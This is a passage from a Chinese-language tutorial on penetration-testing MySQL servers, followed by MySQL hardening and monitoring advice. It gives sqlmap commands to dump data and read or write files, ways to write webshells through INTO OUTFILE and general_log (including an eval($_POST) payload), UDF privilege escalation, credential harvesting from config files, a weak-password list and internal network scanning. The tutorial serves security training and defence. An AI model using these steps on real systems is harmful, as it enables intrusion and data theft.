YES之類的標識。通過這種差異可以先把有效用戶名枚舉出來。3.3 密碼進來之后先看權限再動數據爆破成功或者拿到一個合法口令之后很多人第一反應是select * from users。這個順序有問題。正確做法是先執(zhí)行權限和角色查詢確認自己能做什么再決定接下來做什么。因為同樣是登錄成功SELECT權限、FILE權限、SUPER權限帶來的能力完全不同。SHOW GRANTS FOR CURRENT_USER(); SELECT CURRENT_USER(); SELECT hostname, port, datadir, version, secure_file_priv;secure_file_priv這個參數尤其重要——它決定了LOAD_FILE()和INTO OUTFILE能不能用。如果這個值是空字符串說明MySQL對文件讀寫沒有目錄限制如果值是NULL說明完全禁止文件讀寫如果是具體路徑如/var/lib/mysql-files/那讀寫范圍被限制在那個目錄里。這個參數直接決定后續(xù)能不能寫webshell、能不能讀系統(tǒng)文件。權限確認之后再去看數據。查數據也有講究別一上來就查什么敏感表。先看有哪些庫SHOW DATABASES;判斷是否有非默認數據庫、業(yè)務數據庫、備份庫、測試庫。測試庫往往有驚喜比如數據比生產庫還全或者權限配得比生產庫還寬松。重點關注mysql庫下的user表它可以幫你了解目標的賬號體系甚至直接修改密碼或者添加新賬號。4. SQL注入到MySQL接管Web入口如何落地到33064.1 判斷注入點后如何關聯到數據庫權限很多場景下3306端口本身不直接暴露但業(yè)務系統(tǒng)存在SQL注入這種情況下最終目標還是落到MySQL的數據權限上。兩者的鏈路是一樣的注入點 - 確認數據庫類型和版本 - 提權到文件讀寫 - 嘗試getshell。先要確認注入點后面是不是MySQL。報錯特征很直觀MySQL報錯常見關鍵字You have an error in your SQL syntax、Mysql::、supplied argument is not a valid MySQL result resource報錯注入函數updatexml()、extractvalue()、floor()這些都是MySQL特色注釋風格--、#、/*!*/其中#注釋是MySQL的典型特征確認是MySQL之后通過sleep(5)或者benchmark(10000000,sha1(test))做時間盲注確認當前用戶是否有較高的權限。我一般會優(yōu)先執(zhí)行and (select 1 from mysql.user limit 0,1) 0如果能正常返回說明當前數據庫連接用戶有權限讀取mysql.user表大概率是root或者具備高權限的賬號。這個判斷對后續(xù)決定是否繼續(xù)深入很關鍵。普通業(yè)務賬號只有select權限的話注入基本只能讀數據沒法向文件系統(tǒng)擴展。4.2 sqlmap工具的授權測試姿勢sqlmap是注入測試里繞不開的工具但它不是萬能藥。拿到一個注入點之后我通常是先用sqlmap做自動化確認然后手工驗證關鍵步?；A命令sqlmap -u http://target.com/news.php?id1 --dbmsmysql --batch如果注入點存在接著做權限和庫表信息收集sqlmap -u http://target.com/news.php?id1 --dbmsmysql --privileges --batch sqlmap -u http://target.com/news.php?id1 --dbmsmysql --dbs --batch sqlmap -u http://target.com/news.php?id1 --dbmsmysql -D target_db --dump --batch但sqlmap在執(zhí)行大量自動化請求時容易觸發(fā)WAF或日志告警。更穩(wěn)妥的做法是把流量放慢加--delay2或者用--safe-url搭配一個正常的請求做間隙請求。還有一個實用參數是--no-cast有些場景下MySQL版本較新sqlmap默認的CAST類型轉換會失敗加這個參數能提高成功率。sqlmap最核心的擴展功能是文件讀寫和命令執(zhí)行前提是數據庫賬號具備FILE權限和secure_file_priv允許。文件讀取sqlmap -u http://target.com/news.php?id1 --dbmsmysql --file-read/etc/passwd --batch一旦能讀文件就可以嘗試讀Web配置文件、數據庫配置文件、源碼文件進一步擴大戰(zhàn)果。文件寫入sqlmap -u http://target.com/news.php?id1 --dbmsmysql --file-write/tmp/shell.php --file-dest/var/www/html/shell.php --batch這一步成功的話等于直接getshell。但實際成功率取決于很多因素MySQL的secure_file_priv限制、Web目錄的寫權限、--file-dest的路徑是否正確。我統(tǒng)計過真實項目中sqlmap文件寫入直接成功的比例并不高多數時候需要結合手工確認路徑。4.3 寫shell的路徑推斷與文件權限驗證寫shell最讓人頭疼的不是能不能寫而是寫到哪。路徑推斷有幾個穩(wěn)妥的來源報錯信息泄露。讓頁面報個500有時候完整物理路徑就出來了。讀Web配置文件。常見路徑/etc/nginx/nginx.conf、/etc/apache2/apache2.conf、/var/www/html/wp-config.php。信息收集階段的目錄掃描。如果掃出來有/phpmyadmin/、/adminer.php這些腳本目錄通常和Web根目錄在同一存儲上可以直接推斷。路徑確認之后寫shell之前先做文件寫入測試。寫一個內容無害的探針文件SELECT test_probe INTO OUTFILE /var/www/html/probe.txt;然后訪問http://target.com/probe.txt能訪問到就說明路徑正確且目錄可寫。如果訪問不到看看有沒有可能被CDN或者目錄規(guī)則攔掉了也可以嘗試寫到其他物理路徑比如/tmp/后續(xù)靠別的漏洞配合執(zhí)行。關于shell內容別寫太大的馬。很多Web環(huán)境有上傳校驗、WAF、運行目錄限制。我一般先寫一個最小化的PHP探針確認解析沒問題后再決定要不要傳功能更全的馬。小馬內容越簡單越好比如?php echo md5(probe); ?能解析出結果了再考慮下一步操作。直接上大馬很容易被安全設備抓到特征沒必要在授權測試里冒這個風險。5. 拿到數據庫權限之后的擴展思路提權與文件系統(tǒng)交互5.1 UDF提權的真實條件與常見失敗原因UDFUser Defined Function提權是MySQL滲透里提到最多、實際成功率卻不太高的一條路因為條件限制非常死。原理是通過自定義函數調用系統(tǒng)命令。標準流程是把UDF動態(tài)庫文件寫入MySQL插件目錄創(chuàng)建自定義函數然后通過sys_exec()或sys_eval()執(zhí)行系統(tǒng)命令。但每一步都有坑。先看插件的存放目錄SHOW VARIABLES LIKE plugin_dir;我們需要把so文件Linux或dll文件Windows寫進這個目錄。寫入文件的方式有兩條路一是數據庫具備FILE權限且secure_file_priv允許直接用SELECT ... INTO DUMPFILE寫二是如果已經能通過SQL注入或其他方式拿到Webshell直接上傳到插件目錄。這里的第一個坑MySQL 8.0默認移除了UDF文件的匿名寫入支持。老版本可以用SELECT ... INTO DUMPFILE直接寫二進制文件新版本的secure_file_priv默認是NULL大部分情況下寫不進去。第二個坑系統(tǒng)表mysql.func需要INSERT權限。如果當前賬號不是root或者不是所有庫的ALL PRIVILEGES創(chuàng)建函數時會報錯。第三個坑MySQL服務運行用戶對插件目錄的寫權限。很多Linux環(huán)境下MySQL使用獨立的mysql用戶運行插件目錄是root所有Web服務寫的文件落在插件目錄后MySQL加載時可能因為權限問題失敗。所以我的建議是先別急著UDF提權先確認當前賬號是不是root、plugin_dir在哪、secure_file_priv是什么狀態(tài)。如果三個條件都滿足再走UDF如果不滿足果斷換思路。5.2 general_log日志寫shell的適用場景UDF走不通時另一個實用思路是利用MySQL的通用日志general_log寫shell。原理是把general_log開關打開、把日志輸出目錄改成Web目錄然后把SQL語句作為日志內容寫進去日志文件就是一個包含PHP代碼的文件了。默認情況下general_log是關閉的但如果有SUPER權限可以動態(tài)修改SET global general_log ON; SET global general_log_file /var/www/html/shell.php;然后執(zhí)行一條包含惡意代碼的SQLSELECT ?php eval($_POST[cmd]); ?;這條SQL會以日志的形式追加到/var/www/html/shell.php里。之后訪問這個文件就能觸發(fā)里面的PHP代碼。這個思路在實際測試里成功率比UDF高因為繞過了secure_file_priv的限制也不用考慮插件目錄權限。它的前提是當前賬號有SUPER權限或SET GLOBAL權限而這在拿到root賬號之后基本都能滿足。但是有一個很隱蔽的坑PHP解析器只認?php開頭的標簽而general_log日志里除了我們寫入的SQL還會記錄連接時間、連接ID、操作日志等額外內容。日志文件里的內容不是純粹的PHP前面會有大量非PHP文本如果這些文本里出現?php之外的干擾字符不影響PHP解析——PHP解析器會忽略標簽外的內容但文件里如果有多個?php標簽或者我們寫入的語句本身被日志格式拆分可能導致解析出錯。實際操作的技巧是SELECT ?php phpinfo();?寫完后訪問這個文件確認能解析。如果文件內容里被切斷了多寫幾次每次在SQL語句末尾加上注釋符#盡量讓日志在每一行的結尾保持完整PHP標簽。5.3 MySQL客戶端連接文件的利用除了直接在MySQL里操作還可以看看目標主機上有沒有MySQL客戶端留下的連接記錄和配置文件。Linux下常見位置/root/.my.cnf~/.mysql_history/etc/mysql/應用目錄下的application.yml、db.php、.env這些文件里經常明文保存數據庫口令。拿到這些口令可以繼續(xù)復用用同一個數據庫賬號去連接其他主機形成橫向擴展。我在一次評估中從目標一個應用的.env文件里拿到了數據庫密碼之后用這個密碼去嘗試開放了3306的其他網段主機又打下來三臺。這種密碼復用的問題在真實環(huán)境中相當普遍。6. 內網與橫向移動靠3306端口打開一片新天地6.1 拿下一臺外網主機后如何借用3306做跳板很多目標的3306端口不對公網開放但從拿下的一臺外網主機可以跳到內網去連接其他數據庫。這種情況下最常用的手段是利用已經控制的Linux主機做端口轉發(fā)把內網某臺主機的3306端口轉發(fā)到本地。經典思路是用ssh -L做本地端口轉發(fā)前提是拿到目標主機的SSH權限ssh -L 13306:192.168.1.100:3306 rootpublic-target.com之后本地連接127.0.0.1:13306流量經過跳板機轉發(fā)到內網的192.168.1.100:3306。這樣就能用本地的MySQL客戶端去訪問原本無法直達的內網數據庫。如果目標環(huán)境沒有SSH或者SSH不可達還可以用MySQL自身的INSTALL PLUGIN配合代理工具或者寫一個簡單的socket轉發(fā)腳本但這些方式比SSH轉發(fā)復雜得多穩(wěn)定性也差。優(yōu)先推薦SSH隧道方案。6.2 內網橫向中MySQL弱口令的高命中場景內網環(huán)境里數據庫弱口令的命中率通常高于外網因為很多內網系統(tǒng)上線后沒有人做基線審計運維為了方便密碼設置非常隨意。常見組合root / rootroot / 123456root / 12345678root / root123root / 數據庫名2024test / testadmin / admin888在內網掃描時速度可以適當提上去因為內網連接質量高。我喜歡配合nmap做批量探測先發(fā)現內網中的所有3306端口再對存活主機做賬號口令驗證nmap -sV -p 3306 192.168.1.0/24拿到一批3306存活主機后使用一個簡單的密碼驗證腳本批量嘗試比單臺爆破效率高得多。但要注意控制速度避免內網安全設備報警。還有一個容易被忽略的細節(jié)——內網數據庫通常不止一臺同一個密碼可能同時管理十幾臺實例。拿下一臺之后保留證據繼續(xù)橫向測試時要克制避免破壞線上業(yè)務。6.3 大內網掃描時的CIDR計算與存活判斷內網掃描時很多新手一上來就掃整個192.168.0.0/16這在實際場景里既慢又容易被發(fā)現。正確的思路是先用存活主機探測縮小范圍再精準掃描3306。存活判斷推薦用nmap -sn做大范圍ICMP探測然后用TCP SYN掃描配合--open只顯示開放端口。針對3306端口nmap -sn 192.168.1.0/24 nmap -sS -p 3306 --open 192.168.1.0/24有時候目標禁ICMP-sn的結果不可靠可以用TCP ACK pingnmap -PA -p 80,443,3306,3389 192.168.1.0/24針對每種網段規(guī)模CIDR劃分需要算清楚。/24是256個IP/16是65536個IP掃描時長和日志量完全不是一個量級。除非有明確授權和充分必要性大網段全端口掃描不是值得推廣的習慣容易引發(fā)大面積業(yè)務告警。判斷哪些網段值得掃可以從目標網絡架構圖、已經獲取的網卡配置、路由表、DNS解析記錄里找線索。先在內網機器上執(zhí)行ip addr route -n arp -a cat /etc/hosts這些信息能直接告訴你當前主機的網段、網關和已知的其他主機比盲目大網段掃描精準得多。7. 防守視角從測試鏈條反推MySQL加固的關鍵點7.1 賬號、權限與暴露面的基線檢查站在防守方看前面所有測試手段之所以能成立絕大多數原因是基礎運維動作沒做到位。我在這里把自己實際檢查的基線項列出來每一條都對應前面流程里的某個突破口。第一綁定地址和網絡暴露。MySQL配置文件my.cnf或my.ini里必須有bind-address 127.0.0.1或者只綁定內網網卡地址。如果必須對外提供服務要在防火墻或安全組層面加IP白名單。3306端口直接對全公網開放是所有問題的開始。第二賬號權限的收斂。檢查mysql.user表SELECT user, host, authentication_string FROM mysql.user; SELECT * FROM information_schema.user_privileges WHERE GRANTEE LIKE %root%;重點關注root賬號是否允許遠程登錄host是%、是否存在無密碼賬號、是否存在只有用戶名沒有密碼的過期賬號。生產環(huán)境root賬號只保留localhost登錄遠程訪問用專用賬號并按業(yè)務最小化授權。第三口令強度與密碼策略。MySQL 5.7及以上版本可以啟用validate_password插件強制密碼復雜度。但插件只是防線之一更關鍵的是禁止使用歷史運維習慣里的通用密碼。內部定期的賬號口令審計最多不超過一個季度一次。第四secure_file_priv的設置。如果業(yè)務不需要MySQL讀寫文件統(tǒng)一設置為NULL表示禁用文件導入導出secure-file-priv NULL如果確實有備份或導入需求只放行指定目錄secure-file-priv /data/mysql-files這個選項能直接封死INTO OUTFILE和LOAD_FILE()的利用鏈。7.2 日志、審計與異常連接監(jiān)測數據庫層面的安全不止是配置監(jiān)測同樣重要。MySQL開啟general_log會帶來比較大的性能開銷生產環(huán)境一般不建議常態(tài)開啟但可以開啟slow_query_log和二進制日志。二進制日志本身記錄所有變更操作對于追蹤數據被篡改或導出很有幫助。更實用的手段是從連接側和端口側做監(jiān)控異常來源IP某臺數據庫實例突然出現大量來源IP完全陌生的連接不管是成功還是失敗都值得告警。失敗連接次數的突增短時間內在同一賬號上出現大量Access denied往往說明有人在嘗試弱口令。非工作時間的高頻查詢長期沒有業(yè)務流量的舊系統(tǒng)半夜出現大量查詢大概率是被外部訪問了。用系統(tǒng)層的tcpdump抓3306端口的流量也能看到很多端倪。識別異常SQL連接模式比如執(zhí)行時間極短、頻率極高的重復查詢通常不是正常業(yè)務形態(tài)。還有一點——觀察連接成功后的第一條SQL。正常業(yè)務程序通常先SET NAMES或執(zhí)行查詢而人工連接通常會先執(zhí)行SELECT version或SHOW GRANTS這也是一個容易被忽略的行為特征。7.3 版本更新與已知漏洞的修復優(yōu)先級MySQL的版本更新節(jié)奏比較快5.7系列已經進入EOY階段官方停止維護后再出問題就沒有補丁了。實際檢查中我最常見的兩個風險場景一是老版本5.7停止更新后業(yè)務側因為兼容性問題遲遲不升級二是8.0系列發(fā)布早期版本后管理員不跟進小版本。我建議至少做到兩點任何MySQL實例不低于官方支持的最低版本且小版本保持最近一兩個季度內的補丁。關注官方安全公告中和數據庫認證、權限提升、溢出相關的更新按嚴重程度排序升級。版本升級不是一件小事會遇到兼容性問題所以測試環(huán)境要先行。升級前先做全量備份并在測試環(huán)境跑一遍業(yè)務核心鏈路成功后再同步生產。8. 最后再講點個人經驗回過頭來看3306端口這條線它其實是整個滲透測試流程的一個縮影。端口本身沒有善惡真正的風險來自配置、口令、版本和權限管理。我在做測試時有個習慣每打完一個目標都會回頭整理一份加固建議給對方畢竟拿到權限不是目的幫對方看清楚防御短板才是評估的價值所在。給正在學這塊的朋友幾個實在的建議。第一一定在本地搭一套靶場環(huán)境再練習不要拿真實業(yè)務系統(tǒng)試手出了事不是技術問題而是法律問題。第二信息收集做扎實比堆工具更重要很多測試失敗都是因為連目標是什么版本都沒確認就開始動手。第三多記錄自己每一步的判斷依據復盤時才能看出哪些動作是有效的、哪些是多余的。第四工具用順手了之后嘗試全手工操作一遍這樣你對MySQL協(xié)議、認證流程、權限模型的理解深度會完全不一樣。希望這篇全流程梳理能幫你在下一次測試里少走點彎路。